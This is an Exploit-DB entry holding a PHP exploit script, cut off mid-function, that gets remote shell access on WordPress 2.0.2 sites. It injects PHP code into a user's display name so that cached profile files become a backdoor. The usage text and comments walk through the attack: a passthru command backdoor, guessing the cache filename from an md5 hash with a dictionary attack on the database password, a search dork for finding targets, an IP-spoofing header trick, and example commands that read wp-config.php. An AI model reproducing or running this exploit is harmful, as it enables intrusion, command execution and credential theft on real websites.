Exploit-DB #6
Description: WordPress Core 2.0.2 - 'cache' Remote Shell Injection
Type: webapps
Platform: php
Date: 2006-05-25
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "--------------------------------------------------------------------\r\n";
echo "| WordPress <= 2.0.2 'cache' shell injection exploit               |\r\n";
echo "| by rgod rgod@autistici.org                                       |\r\n";
echo "| site: http://retrogod.altervista.org                             |\r\n";
echo "| dork: inurl:wp-login.php Register Username Password -echo        |\r\n";
echo "--------------------------------------------------------------------\r\n";

/*
this works:
regardless of all php.ini settings,
if user registration is enabled,
against an empty or weak MySQL DB password (read explaination for details...)
*/

if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS             \r\n";
echo "host:      target server (ip/hostname)                              \r\n";
echo "path:      path to WordPress                                        \r\n";
echo "cmd:       a shell command                                          \r\n";
echo "user/pass: you need a valid user account                            \r\n";
echo "Options:                                                            \r\n";
echo "   -D[dicrionary] specify a textfile and try dictionary attack      \r\n";
echo "   -p[port]:        \"  a port other than 80                        \r\n";
echo "   -P[ip:port]:     \"  a proxy                                     \r\n";
echo "Examples:                                                           \r\n";
echo "php ".$argv[0]." localhost /wordpress/ your_username password ls -la -Ddic.txt\r\n";
echo "php ".$argv[0]." localhost /wordpress/ your_username password cat ./../../../wp-config.php -p81\r\n";
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";
die;
}

/* explaination:

  i) wordpress stores some user informations inside cached files
   in wp-content/cache/userlogins/ and wp-content/cache/users/ folders, they are
   php files.
   Normally they look like this:

   <?php
   //O:8:"stdClass":23:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b[PII_REDACTED]2e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:18:"suntzoi@suntzu.org";s:8:"user_url";s:0:"";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:6:"suntzu";s:10:"first_name";s:0:"";s:9:"last_name";s:0:"";s:8:"nickname";s:6:"suntzu";s:11:"description";s:0:"";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:14:"user_firstname";s:0:"";s:13:"user_lastname";s:0:"";s:16:"user_description";s:0:"";}
   ?>

   but...what happens if you inject a carriage return ( chr(13)...), some php code and some
   escape chars when you update your profile (ex. in "displayname" argument)?

   Look at this file now:

   <?php
   //O:8:"stdClass":24:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b[PII_REDACTED]2e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:17:"suntzu@suntzu.org";s:8:"user_url";s:7:"http://";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:185:"suntzu
   error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo 56789;passthru($_REQUEST[cmd]);echo 56789;//suntzuuuuuuuuuuuuuu";s:10:"first_name";s:6:"suntzu";s:9:"last_name";s:6:"suntzu";s:8:"nickname";s:6:"suntzu";s:11:"description";s:6:"whoami";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:12:"rich_editing";s:4:"true";s:14:"user_firstname";s:6:"suntzu";s:13:"user_lastname";s:6:"suntzu";s:16:"user_description";s:6:"whoami";}
   ?>

   you have a backdoor on target server...

   Now you have to search a way to guess filenames 'cause we have an
   index.php to trivially protect folders, but... guess what?

   give a look at wp-includes/cache.php at line 355:

   ...
   $cache_file = $group_dir.md5($id.DB_PASSWORD).'.php';
   ...

   $group_dir is the folder where files are stored
   DB_PASSWORD costant could be empty, if so...
   you have only to calculate the md5 hash of your user id, then:

   http://[target]/[path]/wp-content/cache/users/[md5(user_id)].php?cmd=ls%20-la

   the same with userlogins/ folder, this time:

   http://[target]/[path]/wp-content/cache/userlogins/[md5(username)].php?cmd=ls%20-la

   otherwise you can check if DB_PASSWORD is in a dictionary through the -D option,
   this tool calculate the hash to do something like this:

   http://[target]/[path]/wp-content/cache/users/[md5([user_id][db_pass])].php?cmd=ls%20-la
   http://[target]/[path]/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=ls%20-la

  ii) an ip-spoofing issue in vars.php:

  ...
  // On OS X Server, $_SERVER['REMOTE_ADDR'] is the server's address. Workaround this
  // by using $_SERVER['HTTP_PC_REMOTE_ADDR'], which *is* the remote address.
  if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) )
  	$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR'];
  ...

  poc:
  you can set an http header like this when you register:

  PC_REMOTE_ADDR: 1.1.1.1
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $c